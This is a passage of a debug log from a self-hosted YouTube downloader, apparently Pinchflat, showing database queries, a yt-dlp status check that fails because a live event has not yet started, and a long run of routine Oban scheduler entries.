m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102574] 14:29:12.877 [info] User scripts lifecyle file either not present or is empty. Skipping. 14:29:12.878 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=706.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:29:12.879 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=707.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:29:12.880 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102574] 14:29:12.881 [debug] QUERY OK source="media_metadata" db=0.1ms idle=6.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [102574] 14:29:12.882 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:29:12.883 [debug] QUERY OK source="settings" db=0.2ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:29:12.884 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:29:12.884 [debug] Running yt-dlp command for action: get_downloadable_status 14:29:12.885 [debug] QUERY OK source="settings" db=0.2ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:29:12.886 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:29:12.886 [debug] QUERY OK source="settings" db=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:29:12.887 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=opR_Tg1uLjc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/55/c0/55c0027d0c7ac3fde8058e949d93dc46557ea264436d7b75406a55577584b668.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 14:29:16.338 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=opR_Tg1uLjc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/55/c0/55c0027d0c7ac3fde8058e949d93dc46557ea264436d7b75406a55577584b668.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] opR_Tg1uLjc: This live event will begin in 44 days. 14:29:16.338 [error] yt-dlp download error for media item #102574: "ERROR: [youtube] opR_Tg1uLjc: This live event will begin in 44 days.\n" 14:29:16.341 [debug] QUERY OK source="media_items" db=2.4ms idle=459.6ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: [youtube] opR_Tg1uLjc: This live event will begin in 44 days.\n", ~U[2025-12-11 21:29:16Z], 102574] 14:29:16.343 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":102574},"id":2589,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3466171,"event":"job:exception","queue_time":882671,"attempt":18,"tags":["media_item","media_fetching","show_in_dashboard"]} 14:29:16.777 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:46.779 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.050 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:30:16.781 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:46.783 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.051 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:31:16.785 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:46.787 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.052 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:32:16.789 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:46.791 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.053 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:33:16.793 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:46.795 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.054 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:34:16.797 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:46.799 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.055 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:35:16.801 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:46.803 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.056 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:36:16.805 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:46.807 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.057 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:37:16.809 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:46.811 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.058 [info] {"source":"oban","duration":221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:38:16.813 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:46.815 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.059 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:39:16.817 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:46.819 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.060 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:40:16.821 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:46.823 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.061 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:41:16.825 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:46.827 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.062 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:42:16.829 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:46.831 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.063 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:43:16.833 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:46.835 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.064 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:44:16.837 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:46.839 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.065 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:45:16.841 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:46.843 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.066 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:46:16.845 [info] {"source":"oban","duration":1941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:46.848 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.067 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:47:16.850 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:46.852 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.068 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:48:16.854 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:46.856 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.069 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:49:16.858 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:46.860 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.070 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:50:16.862 [info] {"source":"oban","duration":1730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:46.865 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.071 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:51:16.867 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:46.869 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.072 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:52:16.871 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:46.873 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.073 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:53:16.875 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:46.877 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.074 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:54:16.879 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:46.881 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.075 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:55:16.883 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:46.885 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.076 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:56:16.887 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:46.889 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.077 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:57:16.891 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:46.893 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.078 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:58:16.895 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:46.897 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.079 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:59:16.899 [info] {"source":"oban","duration":1671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:46.902 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.080 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:00:16.904 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:46.906 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.081 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:01:16.908 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:46.910 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.082 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:02:16.912 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:46.914 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.083 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:03:16.916 [info] {"source":"oban","duration":1710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:46.918 [info] {"source":"oban","duration":1718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.084 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:04:16.921 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:46.923 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.085 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:05:16.925 [info] {"source":"oban","duration":1728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:46.928 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.086 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:06:16.931 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:46.933 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.087 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:07:16.935 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:46.937 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.088 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:08:16.939 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:46.940 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.089 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:09:16.943 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:46.945 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.090 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:10:16.947 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:46.949 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.091 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:11:16.950 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:46.953 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:59.076 [info] {"args":{"id":102576},"id":2592,"meta":{},"system_time":1765491119076004718,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":18,"tags":["media_item","media_fetching","show_in_dashboard"]} 15:11:59.076 [debug] QUERY OK source="media_items" db=0.4ms idle=905.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102576] 15:11:59.077 [info] User scripts lifecyle file either not present or is empty. Skipping. 15:11:59.078 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=906.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:11:59.078 [debug] QUERY OK source="media_profiles" db=0.3ms idle=907.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:11:59.079 [debug] QUERY OK source="media_items" db=0.5ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102576] 15:11:59.092 [debug] QUERY OK source="media_metadata" db=0.1ms idle=16.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [102576] 15:11:59.093 [debug] QUERY OK source="media_profiles" db=0.4ms idle=15.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:11:59.093 [debug] QUERY OK source="settings" db=0.2ms idle=15.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:11:59.094 [debug] QUERY OK source="settings" db=0.2ms idle=15.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:11:59.095 [debug] Running yt-dlp command for action: get_downloadable_status 15:11:59.096 [debug] QUERY OK source="settings" db=0.1ms idle=16.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:11:59.096 [debug] QUERY OK source="settings" db=0.2ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:11:59.097 